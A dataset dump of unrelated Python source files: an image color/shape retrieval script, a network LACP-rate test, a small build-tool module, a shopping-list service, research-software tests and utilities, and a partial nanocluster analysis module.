resKmeans[i]:\n it += 1\n if it == len(el):\n encert += 1\n return (encert/len(resKmeans))*100\n\n\n\nif __name__ == '__main__':\n\n #Load all the images and GT\n train_imgs, train_class_labels, train_color_labels, \\\n test_imgs, test_class_labels, test_color_labels = read_dataset(ROOT_FOLDER='../images/', gt_json='../images/gt.json')\n\n #List with all the existant classes\n classes = list(set(list(train_class_labels) + list(test_class_labels)))\n\n #Kmeans\n resKmeans = []\n time_until_converges = []\n for el in test_imgs[0:50]:\n starting_time = time()\n answer = KMeans(el)\n answer.options['km_init'] = 'random'\n answer.find_bestK(10, 'intraclass')\n answer.fit()\n end_time = time()\n timet = end_time - starting_time\n time_until_converges.append(timet)\n\n #Plot3DCloud(answer)\n #visualize_k_means(answer, [80, 60, 3])\n resKmeans.append(get_colors(answer.centroids))\n #print(answer.centroids)\n #print(get_colors(answer.centroids))\n temps = np.median(np.array(time_until_converges))\n print(temps)\n\n #RETRIEVAL_BY_COLOR\n isok = []\n retrievedc = retrievalByColor(test_imgs[0:50], resKmeans, [\"Black\"], isok)\n if len(isok) != 0:\n #GET_COLOR_ACCURACY\n percent = get_color_accuracy(resKmeans, test_color_labels[0:50])\n print(\"We color labbeled a\", percent, \"% of the images\")\n answ = []\n\n if len(retrievedc) == 0:\n print(\"Cap imatge trobada\")\n\n else:\n for i,el in enumerate(retrievedc):\n im = Image.fromarray(el)\n if isok[i]:\n imagenconborde = ImageOps.expand(im, border=5, fill=\"green\")\n else:\n imagenconborde = ImageOps.expand(im, border=5, fill=\"red\")\n answ.append(imagenconborde)\n\n visualize_retrieval(answ, len(answ))\n\n\n #RETRIEVAL BY SHAPE\n #passem les imatges en b/n\n answ = []\n for el in train_imgs:\n answ.append(cv2.cvtColor(el, cv2.COLOR_BGR2GRAY))\n a = np.array(answ)\n\n answtest = []\n for el in test_imgs:\n answtest.append(cv2.cvtColor(el, cv2.COLOR_BGR2GRAY))\n b = np.array(answtest)\n\n #Entrenem l'algorisme\n resultatKNN = []\n knntest = KNN(a, train_class_labels)\n\n #afegim les imatges sobre les que volem buscar\n hola = knntest.predict(b[0:50], 8)\n #realitzem la busqueda sobre les etiquetes obtingudes\n isok = []\n retrievalbyshape = Retrival_by_shape(test_imgs[0:50], hola, \"Dresses\", isok)\n if len(retrievalbyshape) == 0:\n print(\"No he trobat res, et puc buscar\", classes)\n else:\n answ = []\n for i, el in enumerate(retrievalbyshape):\n im = Image.fromarray(el)\n if isok[i]:\n imagenconborde = ImageOps.expand(im, border=5, fill=\"green\")\n else:\n imagenconborde = ImageOps.expand(im, border=5, fill=\"red\")\n answ.append(imagenconborde)\n\n visualize_retrieval(answ, len(answ))\n\n\n #GET_SHAPE_ACCURACY\n perc = get_shape_accuracy(hola, test_class_labels[0:50])\n\n print(\"Hem encertat un \", perc, \"% en l'etiquetatge de forma\")\n\n\n #RETRIEVAL COMBINED\n si = retrieval_combined(test_imgs[0:50], hola, resKmeans, \"Shorts\", \"Black\")\n if len(si) != 0:\n visualize_retrieval(si, len(si))\n else:\n print(\"No he trobat res\")\n\n\n #KMEAN_STATISTICS\n kmean_statistics(answer, 20)\n\n\n\n\n\n\n\n\n","sub_path":"scripts/my_labeling.py","file_name":"my_labeling.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"4158994","text":"import pytest\n\nimport json\nimport time\nimport logging\nimport os\n\nfrom ptf_runner import ptf_runner\nfrom common.devices import AnsibleHostBase\n\n@pytest.fixture(scope=\"module\")\ndef common_setup_teardown(duthost, ptfhost, testbed, conn_graph_facts):\n logging.info(\"########### Setup for lag testing ###########\")\n\n lag_facts = duthost.lag_facts(host = duthost.hostname)['ansible_facts']['lag_facts']\n\n if lag_facts['names'] == []:\n pytest.skip(\"No lag configuration found in %s\" % duthost.hostname)\n\n mg_facts = duthost.minigraph_facts(host=duthost.hostname)['ansible_facts']\n logging.info(\"dut hostname: %s\" % mg_facts)\n vm_neighbors = mg_facts['minigraph_neighbors']\n\n # Copy PTF test into PTF-docker for test LACP DU\n test_files = ['lag_test.py', 'acs_base_test.py', 'router_utils.py']\n for test_file in test_files:\n src = \"../ansible/roles/test/files/acstests/%s\" % test_file\n dst = \"/tmp/%s\" % test_file\n ptfhost.copy(src=src, dest=dst)\n\n # Copy tests to the PTF-docker\n ptfhost.copy(src=\"ptftests\", dest=\"/root\")\n\n # Inlucde testbed topology configuration\n testbed_type = testbed['topo']['name']\n \n support_testbed_types = frozenset(['t1-lag', 't0', 't0-116'])\n if testbed_type not in support_testbed_types:\n pytest.skip(\"Not support given test bed type %s\" % testbed_type)\n\n yield ptfhost, testbed, vm_neighbors, mg_facts, lag_facts\n\ndef test_lag_2(common_setup_teardown, nbrhosts):\n ptfhost, testbed, vm_neighbors, mg_facts, lag_facts = common_setup_teardown\n\n # Test for each lag\n for lag_name in lag_facts['names']:\n check_single_lag_lacp_rate(common_setup_teardown, nbrhosts, lag_name)\n\ndef check_single_lag_lacp_rate(common_setup_teardown, nbrhosts, lag_name):\n ptfhost, testbed, vm_neighbors, mg_facts, lag_facts = common_setup_teardown\n logging.info(\"Start checking single lap lacp rate for: %s\" % lag_name)\n \n po_interfaces = lag_facts['lags'][lag_name]['po_config']['ports']\n intf = lag_facts['lags'][lag_name]['po_config']['ports'].keys()[0]\n\n # Figure out remote VM and interface info\n peer_device = vm_neighbors[intf]['name']\n\n # Prepare for the remote VM interfaces that using PTF docker to check if the LACP DU packet rate is correct\n iface_behind_lag_member = []\n for neighbor_int in mg_facts['minigraph_neighbors'].keys():\n if peer_device == mg_facts['minigraph_neighbors'][neighbor_int]['name']:\n iface_behind_lag_member.append(mg_facts['minigraph_port_indices'][neighbor_int])\n\n neighbor_lag_intfs = []\n for po_interface in po_interfaces:\n neighbor_lag_intfs.append(vm_neighbors[po_interface]['port'])\n\n try:\n lag_rate_current_setting = None\n\n # Get the vm host(veos) by it host name\n vm_host = nbrhosts[peer_device]\n\n # Make sure all lag members on VM are set to fast\n logging.info(\"Changing lacp rate to fast for %s\" % neighbor_lag_intfs[0])\n set_interface_lacp_rate(vm_host, neighbor_lag_intfs[0], 'fast')\n lag_rate_current_setting = 'fast'\n time.sleep(5)\n for iface_behind_lag in iface_behind_lag_member:\n verify_lag_lacp_timing(ptfhost, peer_device, 1, iface_behind_lag)\n\n # Make sure all lag members on VM are set to slow\n set_interface_lacp_rate(vm_host, neighbor_lag_intfs[0], 'normal')\n lag_rate_current_setting = 'slow'\n time.sleep(5)\n for iface_behind_lag in iface_behind_lag_member:\n verify_lag_lacp_timing(ptfhost, peer_device, 30, iface_behind_lag)\n finally:\n # Restore lag rate setting on VM in case of failure\n if lag_rate_current_setting == 'fast':\n set_interface_lacp_rate(vm_host, neighbor_lag_intfs[0], 'normal')\n\ndef verify_lag_lacp_timing(ptfhost, vm_name, lacp_timer, exp_iface):\n if exp_iface is None:\n return\n\n # Check LACP timing\n params = {\n 'exp_iface': exp_iface,\n 'timeout': 35,\n 'packet_timing': lacp_timer,\n 'ether_type': 0x8809,\n 'interval_count': 3\n }\n ptf_runner(ptfhost, '/tmp', \"lag_test.LacpTimingTest\", '/root/ptftests', params=params)\n\n@pytest.fixture(scope=\"module\")\ndef conn_graph_facts(testbed_devices):\n dut = testbed_devices[\"dut\"]\n return get_conn_graph_facts(testbed_devices, dut.hostname)\n\ndef get_conn_graph_facts(testbed_devices, host):\n localhost = testbed_devices[\"localhost\"]\n\n base_path = os.path.dirname(os.path.realpath(__file__))\n lab_conn_graph_file = os.path.join(base_path, \"../ansible/files/lab_connection_graph.xml\")\n result = localhost.conn_graph_facts(host=host, filename=lab_conn_graph_file)['ansible_facts']\n return result\n\ndef set_interface_lacp_rate(vm_host, intf, mode):\n vm_host.eos_config(\n lines=['lacp rate %s' % mode],\n parents='interface %s' % intf)\n logging.info(\"Set interface [%s] lacp rate to [%s]\" % (intf, mode))","sub_path":"tests/test_lag_2.py","file_name":"test_lag_2.py","file_ext":"py","file_size_in_byte":4927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"654120887","text":"#!/usr/bin/env python\n\"\"\" Break: For when you're frustrated with Make.\n Inspired by the elegant process invocation and management features of\n Spack (https://github.com/LLNL/spack).\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport subprocess\nimport shlex\nimport os\nimport argparse\nimport sys\nimport re\nimport urllib\n\n\nclass log(object):\n red = '1;31'\n blue = '1;34'\n yellow = '1;33'\n gray = '1;30'\n\n @classmethod\n def _print(cls, msg, prefix=None, color=None):\n if color:\n msg = \"\\033[{0}m{1}\\033[0m\".format(color, msg)\n if prefix:\n msg = prefix + msg\n print(msg)\n\n @classmethod\n def info(cls, msg):\n cls._print(msg, '# ', cls.yellow)\n\n @classmethod\n def prompt(cls, msg):\n cls._print(msg, '==> ', cls.blue)\n\n\nclass Executable(object):\n def __init__(self, path, defaults=[]):\n self.path = path\n self.defaults = defaults\n\n def _generate_command(self, *args):\n return ' '.join([self.path] + self.defaults + list(args))\n\n def __call__(self, argstring=\"\"):\n command = self._generate_command(argstring)\n log.prompt(command)\n real_command = shlex.split(\"bash -c \\\"%s\\\"\" % command)\n rc = subprocess.call(real_command)\n if rc != 0: # pragma: no cover\n sys.exit(rc)\n\n def collect(self, argstring):\n command = self._generate_command(argstring)\n log.prompt(command)\n real_command = shlex.split(\"bash -c \\\"%s\\\"\" % command)\n proc = subprocess.Popen(\n real_command,\n stderr=subprocess.STDOUT,\n stdout=subprocess.PIPE,\n universal_newlines=True,\n bufsize=1)\n for line in proc.stdout:\n yield line\n rc = proc.wait()\n if rc != 0: # pragma: no cover\n sys.exit(rc)\n\n def grab(self, argstring):\n return ''.join(self.collect(argstring))\n\n\ndef which(tool, defaults=[]):\n paths = [\".\"] + os.environ['PATH'].split(':')\n for path in paths:\n tool_path = os.path.join(path, tool)\n if os.path.exists(tool_path):\n return Executable(tool_path, defaults=defaults)\n\nrm = which(\"rm\", defaults=[\"-f\"])\ntouch = which(\"touch\")\n\n\ndef find_files(pattern, directory=\".\"):\n for root, dirs, files in os.walk(directory):\n for f in files:\n path = os.path.join(root, f)\n if re.match(pattern, path):\n yield path\n\n\ndef _get_args(argv):\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-l\", \"--list-tasks\",\n help=\"display available tasks\", action=\"store_true\")\n parser.add_argument(\n \"-c\", \"--clean\",\n help=\"Clean up breakstamps\", action=\"store_true\")\n parser.add_argument(\n \"-u\", \"--update\",\n help=\"Update breakable.py\", action=\"store_true\")\n parser.add_argument(\n \"-f\", \"--breakfile\",\n help=\"path to Breakfile.py\", default=\"Breakfile.py\")\n parser.add_argument(\n \"-t\", \"--task\",\n help=\"Entrypoint in Breakfile.py\", default=None)\n return parser.parse_args(argv)\n\n\ndef needs(*filenames):\n for f in filenames:\n if not os.path.exists(f):\n raise Exception(\"%s is needed but not found\" % f)\n\n\ndef only_if_modified(*filenames):\n needs(*(filenames + (__file__,)))\n\n def wrapper(func):\n def wrapped(self=None):\n timestamp_file = path(\".breakstamp.%s\" % func.__name__)\n dirty = False\n for f in filenames:\n if timestamp_file.dirtier_than(f):\n dirty = True\n break\n if dirty:\n of_the_jedi = func(self)\n touch(timestamp_file)\n return of_the_jedi\n wrapped.__doc__ = func.__doc__\n return wrapped\n return wrapper\n\n\ndef provides(filename):\n def wrapper(func):\n def wrapped(self=None):\n if not path(filename).exists:\n return func(self)\n wrapped.__doc__ = func.__doc__\n return wrapped\n return wrapper\n\n\nclass BreakPath(str):\n def newer_than(self, other):\n if not os.path.exists(self):\n msg = \"Cannot compare %s with %s.\" % (self, other)\n msg += \" %s does not exist.\" % (self)\n raise Exception(msg)\n if not os.path.exists(other):\n msg = \"Cannot compare %s with %s.\" % (self, other)\n msg += \" %s does not exist.\" % (other)\n raise Exception(msg)\n return os.path.getmtime(self) > os.path.getmtime(other)\n\n def dirtier_than(self, dependency):\n if not os.path.exists(dependency):\n msg = \"Cannot compare %s with %s.\" % (self, dependency)\n msg += \" %s does not exist.\" % (dependency)\n raise Exception(msg)\n if not os.path.exists(self):\n return True\n return path(dependency).newer_than(self)\n\n @property\n def exists(self):\n return os.path.exists(self)\n\n\ndef path(*filename_parts):\n return BreakPath(os.path.join(*filename_parts))\n\n\ndef belhorn_property(function):\n '''Pirated implementation of @mpbelhorn's cached property decorator'''\n\n @property\n def _belhorn_wrapper(self):\n cached_name = \"_cached_%s\" % function.__name__\n if not hasattr(self, cached_name):\n setattr(self, cached_name, function(self))\n return getattr(self, cached_name)\n return _belhorn_wrapper\n\n_url_for_latest_breakable = \\\n 'http://raw.githubusercontent.com/robertdfrench/break/master/breakable.py'\n\n__all__ = [\n 'which', 'Executable', 'rm', 'needs', 'find_files', 'path', 'touch',\n 'only_if_modified', 'provides', 'log', 'belhorn_property']\nif __name__ == \"__main__\": # pragma: no cover\n args = _get_args(sys.argv[1:])\n if args.clean:\n for f in find_files(r\".*breakstamp.*\", \".\"):\n rm(f)\n log.info(\"Removing timestamps; All targets should rebuild now\")\n sys.exit(0)\n if args.update:\n new_breakable = urllib.urlopen(_url_for_latest_breakable)\n with open(__file__, \"w\") as old_breakable:\n old_breakable.write(new_breakable.read())\n log.info(\"Overwriting your old-ass breakable.py with the latest copy\")\n log.info(\"Be sure to include these changes in your next commit!\")\n sys.exit(0)\n from Breakfile import BreakTasks\n tasklist = BreakTasks()\n if args.list_tasks:\n for attr in dir(tasklist):\n if not attr.startswith('_'):\n typename = type(getattr(tasklist, attr)).__name__\n docs = getattr(tasklist, attr).__doc__\n if typename == 'instancemethod':\n print(\"%s: %s\" % (attr, docs))\n else:\n if args.task:\n getattr(tasklist, args.task)()\n else:\n print(\"You should probably specify a task\")\n","sub_path":"breakable.py","file_name":"breakable.py","file_ext":"py","file_size_in_byte":6971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"222503621","text":"# Shopping List Items model business logic\nfrom models import models\nfrom core import db_utils\nfrom service import item_service, shopping_list_service\n\n\ndef get_sl_item(sl_id: int, item_id: int) -> models.Item_ShoppingList:\n \"\"\"Get one item in Shopping List\n\n Args:\n Shopping list ID\n Item ID\n\n Returns:\n Item in Shopping List record\n\n \"\"\"\n return models.Item_ShoppingList.query.get((sl_id, item_id))\n\n\ndef get_sl_item_by_sl_id(_sl_id: int) -> list:\n \"\"\"Get all items records/IDs in Shopping List\n\n Args:\n Shopping list ID\n\n Returns:\n Lists of Shopping List -> Item records\n\n \"\"\"\n return models.Item_ShoppingList.query.filter(models.Item_ShoppingList.sl_id == _sl_id).all()\n\n\ndef get_sl_item_by_item_id(_item_id: int) -> list:\n \"\"\"Get all Shopping Lists records/IDs for one Item\n\n Args:\n Item ID\n\n Returns:\n Lists of Shopping List -> Item records\n\n \"\"\"\n return models.Item_ShoppingList.query.filter(models.Item_ShoppingList.item_id == _item_id).all()\n\n\ndef get_shoplist_for_item(item_id: int) -> list:\n \"\"\"Get all Shopping Lists objects for one Item\n\n Args:\n Item ID\n\n Returns:\n Shopping Lists list\n\n \"\"\"\n sl_items = get_sl_item_by_item_id(item_id)\n sl_quantity = []\n for next_sl_item in sl_items:\n next_item = shopping_list_service.get_shoppingList_by_id(next_sl_item.sl_id)\n sl_quantity.append(dict(id=next_item.id, title=next_item.title, storeName=next_item.storeName,\n date_created=next_item.date_created))\n print(sl_quantity)\n return sl_quantity\n\n\ndef get_items_in_shopping_list(sl_id: int):\n \"\"\"Get all items records/IDs in Shopping List\n\n Args:\n Item ID\n\n Returns:\n Items list\n\n \"\"\"\n sl_items = get_sl_item_by_sl_id(sl_id)\n items_quantity = []\n for next_sl_item in sl_items:\n next_item = item_service.get_item_by_id(next_sl_item.item_id)\n items_quantity.append(dict(id=next_item.id, name=next_item.name, quantity=next_sl_item.quantity))\n return items_quantity\n\n\ndef insert_sl_item(_sl_id: int, _item_id: int, _quantity: int =1):\n \"\"\"Insert item to Shopping List\n\n Args:\n Shopping List ID\n Item ID\n _quantity - optional\n\n Returns:\n Item\n\n \"\"\"\n check_item = item_service.get_item_by_id(_item_id)\n if not (check_item):\n return \"Bad item\"\n check_sl = shopping_list_service.get_shoppingList_by_id(_sl_id)\n if not (check_sl):\n return \"Bad SL\"\n new_item_in_sl = get_sl_item(_sl_id, _item_id)\n if new_item_in_sl == None:\n if _quantity > 0:\n new_item_in_sl = models.Item_ShoppingList(sl_id=_sl_id, item_id=_item_id, quantity=_quantity)\n db_utils.add_and_save_db(new_item_in_sl)\n else:\n return True\n else:\n new_item_in_sl.quantity = new_item_in_sl.quantity + _quantity\n if new_item_in_sl.quantity < 1:\n delete_sl_item(_sl_id, _item_id)\n return True\n db_utils.save_db()\n return new_item_in_sl\n\n\ndef update_sl_item(_sl_id, _item_id, _quantity):\n \"\"\"Update item in Shopping List\n\n Args:\n Shopping List ID\n Item ID\n\n Returns:\n Item\n\n \"\"\"\n item_in_sl = get_sl_item(_sl_id, _item_id)\n item_in_sl.quantity = _quantity\n db_utils.save_db()\n return item_in_sl\n\n\ndef delete_sl_item(_sl_id, _item_id):\n \"\"\"Delete item in Shopping List\n\n Args:\n Shopping List ID\n Item ID\n\n Returns:\n Item\n\n \"\"\"\n if _item_id < 0:\n return False\n item_in_sl = get_sl_item(_sl_id, _item_id)\n if item_in_sl:\n db_utils.delete_from_db(item_in_sl)\n\n\ndef delete_all_sl_items(_sl_id):\n \"\"\"Delete all Items in Shopping List\n\n Args:\n Shopping List ID\n\n Returns:\n Lens of deleted Items\n\n \"\"\"\n items_in_sl = get_sl_item_by_sl_id(_sl_id)\n for next_item in items_in_sl:\n db_utils.delete_from_db_no_commit(next_item)\n db_utils.save_db()\n return len(items_in_sl)\n\n\ndef delete_all_items(_item_id):\n \"\"\"Delete all Items from Shopping Lists for one item\n\n Args:\n Shopping List ID\n\n Returns:\n Lens of deleted Items\n\n \"\"\"\n items = get_sl_item_by_item_id(_item_id)\n for next_item in items:\n db_utils.delete_from_db_no_commit(next_item)\n db_utils.save_db()\n return len(items)\n","sub_path":"service/sl_items_service.py","file_name":"sl_items_service.py","file_ext":"py","file_size_in_byte":4525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"364528849","text":"# -*- coding: utf-8 -*-\n#\n# Copyright (C) 2019 CERN.\n#\n# inspirehep is free software; you can redistribute it and/or modify it under\n# the terms of the MIT License; see LICENSE file for more details.\n\nimport json\n\nfrom helpers.providers.faker import faker\nfrom helpers.utils import es_search, retry_until_matched\nfrom invenio_db import db\nfrom invenio_pidstore.models import PersistentIdentifier\nfrom invenio_search import current_search\n\nfrom inspirehep.disambiguation.tasks import disambiguate_signatures\nfrom inspirehep.records.api import AuthorsRecord\nfrom inspirehep.records.api.literature import LiteratureRecord\n\n\ndef test_signature_linked_by_disambiguation_has_correct_facet_author_name(\n inspire_app, celery_app_with_context, celery_session_worker\n):\n data = faker.record(\"lit\")\n data[\"authors\"] = [\n {\"full_name\": \"Doe, John\", \"uuid\": \"94fc2b0a-dc17-42c2-bae3-ca0024079e51\"}\n ]\n record = LiteratureRecord.create(data)\n db.session.commit()\n clusters = [\n {\n \"signatures\": [\n {\n \"publication_id\": record[\"control_number\"],\n \"signature_uuid\": \"94fc2b0a-dc17-42c2-bae3-ca0024079e51\",\n }\n ],\n \"authors\": [],\n }\n ]\n disambiguate_signatures(clusters)\n author_pids = PersistentIdentifier.query.filter_by(pid_type=\"aut\").all()\n assert len(author_pids) == 1\n pid_value = author_pids[0].pid_value\n author = AuthorsRecord.get_record_by_pid_value(pid_value)\n author_control_number = author.pop(\"control_number\")\n\n expected_facet_author_name = [f\"{author_control_number}_John Doe\"]\n expected_record_ref = f\"http://localhost:5000/api/authors/{pid_value}\"\n steps = [\n {\"step\": current_search.flush_and_refresh, \"args\": [\"records-hep\"]},\n {\n \"step\": es_search,\n \"args\": [\"records-hep\"],\n \"expected_result\": {\n \"expected_key\": \"hits.total.value\",\n \"expected_result\": 1,\n },\n },\n {\n \"expected_key\": \"hits.hits[0]._source.facet_author_name\",\n \"expected_result\": expected_facet_author_name,\n },\n {\n \"expected_key\": \"hits.hits[0]._source.authors[0].record.$ref\",\n \"expected_result\": expected_record_ref,\n },\n ]\n retry_until_matched(steps)\n","sub_path":"backend/tests/integration-async/disambiguation/test_disambiguation_tasks.py","file_name":"test_disambiguation_tasks.py","file_ext":"py","file_size_in_byte":2373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"196748650","text":"\n\nfrom xai.brain.wordbase.nouns._chant import _CHANT\n\n#calss header\nclass _CHANTS(_CHANT, ):\n\tdef __init__(self,): \n\t\t_CHANT.__init__(self)\n\t\tself.name = \"CHANTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"chant\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_chants.py","file_name":"_chants.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"549143057","text":"from collections import OrderedDict\nfrom dataclasses import dataclass\nfrom types import MappingProxyType\nfrom typing import Mapping\nfrom .. import Hash32, ExternalAddress, Signature\nfrom ..transactions import Transaction\n\n\n@dataclass(frozen=True)\nclass BlockHeader:\n hash: Hash32\n prev_hash: Hash32\n height: int\n timestamp: int\n peer_id: ExternalAddress\n signature: Signature\n\n version = ''\n\n\n@dataclass(frozen=True)\nclass BlockBody:\n transactions: Mapping[Hash32, Transaction]\n\n def __init__(self, transactions: Mapping[Hash32, Transaction]):\n object.__setattr__(self, \"transactions\", MappingProxyType(OrderedDict(transactions)))\n\n\n@dataclass(frozen=True)\nclass Block:\n header: BlockHeader\n body: BlockBody\n\n","sub_path":"loopchain/blockchain/blocks/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"137385875","text":"import numpy as np\nimport MinuitFit as MiF\nimport matplotlib.pyplot as plt\nimport numpy as np\n\ndef func(x, *par):\n\ta=par[0]\n\tb=par[1]\n\treturn a*x+b\n\nif __name__=='__main__':\n\tdata_x=np.array([])\n\tdata_y=np.array([])\n\tx_err=np.array([])\n\ty_err=np.array([])\n\tax=plt.subplot()\n\n\tdata=np.loadtxt(\"sample.csv\",delimiter=',',skiprows=0)\n\tdata_x=data[:,0]\t\n\tdata_y=data[:,1]\n\tx_err=np.full(data_x.shape[0],1)\t\n\ty_err=np.full(data_x.shape[0],1)\t\n\tMiF.Setup(data_x,data_y,x_err,y_err,func,ax)\n#\tMiF.SetRange()\n#\tMiF.SetLimit()\n\tresult=MiF.chisquare(1,1)\n#\tplt.title()\n#\tplt.xlabel()\n#\tplt.ylabel()\n\tplt.show(block=False)\n\n","sub_path":"Minmain.py","file_name":"Minmain.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"154001571","text":"#!/usr/bin/python\n\nimport dubins\nimport csv\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ncsv_file = \"set_dubins.csv\"\nq0 = (10., 10., 0) # Starting Pose\nq1 = (20., 20., 3.14) # Finishing pose\n\nturning_radius = 5.0\n\nstep_size = 2.0\n\npath = dubins.shortest_path(q0, q1, turning_radius)\n\nconfigurations, _ = path.sample_many(step_size)\n\nconfigurations = np.array(configurations)\n\npoints = configurations[:, :2]\nnp.savetxt(csv_file, points, delimiter=',', fmt='%.2f')\n\nplt.figure()\nplt.plot(configurations[:,0], configurations[:,1])\nplt.show()\n","sub_path":"example_local_waypoints/dubins-creator.py","file_name":"dubins-creator.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"101916957","text":"from __future__ import division\r\nimport sys\r\nimport os\r\nimport numpy as np\r\nimport ase\r\nimport ase.io\r\nimport ase.neighborlist\r\nfrom ase.data import covalent_radii\r\nfrom ase.data import chemical_symbols\r\nimport ase.visualize\r\n\r\n\r\n# default bonding scale (SCALE * covalent_radii)\r\nSCALE = 1.0\r\n\r\n# center output\r\nCEN = 40\r\n\r\n# center for value outputs\r\nVCEN = int(CEN // 1.8)\r\n\r\n# set of transition metals\r\nMETALS = set()\r\n[METALS.add(sym) for r in [21, 39, 71, 103] for sym in chemical_symbols[r:r+10]]\r\n\r\n# set of metals and S\r\nMS = METALS.copy()\r\nMS.add('S')\r\n\r\n# names of motifs\r\nMOTIFNAMES = ['bridging S', 'monomer', 'dimer', 'trimer', 'tetramer',\r\n 'pentamer', 'hexamer', 'heptamer', 'octamer'] + \\\r\n ['%imer' % i for i in range(9, 2000)]\r\n\r\n\r\ndef build_neighborlist(atom, scale=SCALE):\r\n \"\"\"creates NeighborList object based on atom\r\n\r\n Arguments:\r\n atom {ase.Atoms} -- atoms object\r\n\r\n Keyword Arguments:\r\n scale {float} -- scales covalent radii of each atom\r\n (default: {1.0})\r\n\r\n Returns:\r\n {NeighborList}: neighborlist object that can calculate all neighbors\r\n of a given atom\r\n \"\"\"\r\n radii = covalent_radii[atom.numbers] * scale\r\n\r\n n = ase.neighborlist.NeighborList(\r\n cutoffs=radii,\r\n self_interaction=False)\r\n n.update(atom)\r\n return n\r\n\r\n\r\ndef flatten_ls(val, _tot=[]):\r\n \"\"\"\r\n Flattens an arbitrary list of values (ints, floats, str, etc.) and lists\r\n \"\"\"\r\n if not isinstance(val, list):\r\n return _tot + [val]\r\n else:\r\n for i in val:\r\n _tot = flatten_ls(i, _tot)\r\n return _tot\r\n\r\n\r\ndef get_bonds(atom, scale=SCALE, neighbor_list=None,\r\n return_neighbor_list=False):\r\n \"\"\"finds bonds between atoms based on bonding radii\r\n\r\n Arguments:\r\n atom {ase.Atoms} -- atoms object\r\n\r\n Keyword Arguments:\r\n scale {float} -- scales covalent bonding radii of atoms\r\n (default: {1.0})\r\n neighbor_list {NeighborList} -- a neighborlist that was already\r\n built for atoms object\r\n (default: {None})\r\n return_neighbor_list {bool} -- if True, neighbor_list is returned with\r\n bonds list\r\n (default: {False})\r\n\r\n Returns:\r\n bonds list {list of lists} -- [[bond-1-atom-1, bond-1-atom-2],\r\n [bond-2-atom-1, bond-2-atom-2],\r\n [bond-3-atom-1, bond-3-atom-2],\r\n ...etc]\r\n neighbor_list -- if return_neighbor_list is True\r\n \"\"\"\r\n if neighbor_list is None:\r\n n = build_neighborlist(atom, scale=scale)\r\n else:\r\n n = neighbor_list\r\n n.update(atom)\r\n\r\n if not n.nneighbors:\r\n return []\r\n\r\n bonds = np.zeros((n.nneighbors, 2), int)\r\n spot1 = 0\r\n for atomi in range(len(atom)):\r\n # get neighbors of atomi\r\n neighs = n.get_neighbors(atomi)[0]\r\n\r\n # find second cutoff in matrix\r\n spot2 = spot1 + len(neighs)\r\n\r\n # add bonds to matrix\r\n bonds[spot1:spot2, 0] = atomi\r\n bonds[spot1:spot2, 1] = neighs\r\n\r\n # shift down matrix\r\n spot1 = spot2\r\n\r\n # once all bonds have been found break loop\r\n if spot1 == n.nneighbors:\r\n break\r\n\r\n if return_neighbor_list:\r\n return bonds, n\r\n else:\r\n return bonds\r\n\r\n\r\ndef get_core_shell(atom, neighbor_list=None, scale=SCALE,\r\n sulfido_in_core=False, show=False):\r\n \"\"\"\r\n Separates metal NC into core and shell based on \"divide and protect\" theory\r\n\r\n Arguments:\r\n atom {ase.Atoms} -- metal NC atoms object\r\n\r\n Keyword Arguments:\r\n neighbor_list {NeighborList} -- ase NeighborList object for metal NC\r\n (default: {None})\r\n scale {float} -- scale covalent radii of each atom - for determining\r\n neighbors when no neighborlist is passed in\r\n (default: {1.0})\r\n sulfido_in_core {bool} -- True: sulfido atoms were included in core\r\n False: sulfido atoms were included in shell\r\n (default: {False})\r\n show {bool} -- prints details of core and shell if True\r\n (defauls: {False})\r\n\r\n Returns:\r\n core shell info {dict} -- {core: core atom indices,\r\n shell: shell atom indices,\r\n sulfido: sulfido atom indices,\r\n bridge: bridging S indices,\r\n nshellint: num shell interactions,\r\n corecnavg: avg CN of core atoms\r\n (includes bonds to shell),\r\n justcorecnavg: avg CN of core excluding\r\n bonds to shell\r\n }\r\n \"\"\"\r\n # if atom isn't ase object, assume it is a path to NC structure file\r\n if not isinstance(atom, ase.Atoms):\r\n atom = ase.io.read(atom)\r\n\r\n # determine if NC has R group (check for C's and H's)\r\n hasr = (atom.numbers == 6).any() or (atom.numbers == 1).any()\r\n\r\n # calculate bonds list (and neighborlist if necessary)\r\n if neighbor_list is None:\r\n bonds, neighbor_list = get_bonds(atom, scale=scale,\r\n return_neighbor_list=True)\r\n else:\r\n bonds = get_bonds(atom, neighbor_list=neighbor_list)\r\n\r\n # first, find sulfido atoms (if any)\r\n sulfido = []\r\n # can only find sulfido's if R group is present\r\n # with no R groups, cannot differentiate b/n sulfido and bridge\r\n if hasr:\r\n sulfurs = np.array([i.index for i in atom if i.symbol == 'S'])\r\n for s in sulfurs:\r\n bonded_to = atom[[i for i in np.unique(bonds[\r\n np.where(bonds == s)[0]\r\n ]) if i != s]]\r\n mets = sum([1 for i in bonded_to if i.symbol in METALS])\r\n if mets == len(bonded_to) and mets > 2:\r\n sulfido.append(s)\r\n\r\n # core atom indices (include sulfido atoms if )\r\n core = sulfido[:] if sulfido_in_core else []\r\n # calc avg CN of core atoms\r\n corecnavg = 0\r\n for a in atom:\r\n if a.symbol in METALS:\r\n # find S neighbors that aren't already in core\r\n # (ignores 